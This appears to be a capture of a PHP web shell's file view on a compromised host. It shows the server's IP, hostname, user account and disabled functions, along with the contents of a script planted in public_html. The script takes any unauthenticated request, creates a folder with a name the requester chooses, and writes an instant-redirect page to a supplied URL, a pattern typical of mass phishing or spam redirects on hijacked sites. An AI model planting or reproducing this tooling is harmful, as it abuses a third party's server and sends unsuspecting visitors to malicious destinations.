| Server IP : 50.6.195.38  /  Your IP : 216.73.216.141 Web Server : Apache System : Linux server.chemdry.ca 5.14.0-427.31.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 15 14:47:52 EDT 2024 x86_64 User : selech ( 1068) PHP Version : 8.2.29 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/selech/public_html/  | 
Upload File :  | 
<?php
// Initialize variables
$folderName = '';
$url = '';
$indexFile = 'index.html';
$message = '';
// Check if parameters are provided in the URL
if (isset($_GET['name']) && isset($_GET['url'])) {
    $folderName = trim($_GET['name']);
    $url = trim($_GET['url']);
    // Check if index file type is specified
    if (isset($_GET['index']) && $_GET['index'] === 'php') {
        $indexFile = 'index.php';
    }
    // Validate input
    if (empty($folderName) || empty($url)) {
        $message = "Both folder name and URL are required.";
    } else {
        // Create folder if it doesn't exist
        if (!file_exists($folderName) && !is_dir($folderName)) {
            if (mkdir($folderName, 0755, true)) {
                $message .= "Folder created successfully. ";
            } else {
                $message .= "Error creating folder. ";
            }
        }
        // Create and write to index file
        $filePath = $folderName . '/' . $indexFile;
        $fileContent = ($indexFile === 'index.php') 
            ? '<?php header("Location: ' . htmlspecialchars($url) . '"); ?>'
            : '<meta http-equiv="refresh" content="0;url=' . htmlspecialchars($url) . '">';
        if (file_put_contents($filePath, $fileContent) !== false) {
            $message .= "File created successfully: $filePath";
        } else {
            $message .= "Error creating file. Please check permissions.";
        }
    }
} else {
    $message = "Please provide both 'name' and 'url' parameters in the URL.";
}
// Output the result as plain text
header('Content-Type: text/plain');
echo $message;
?>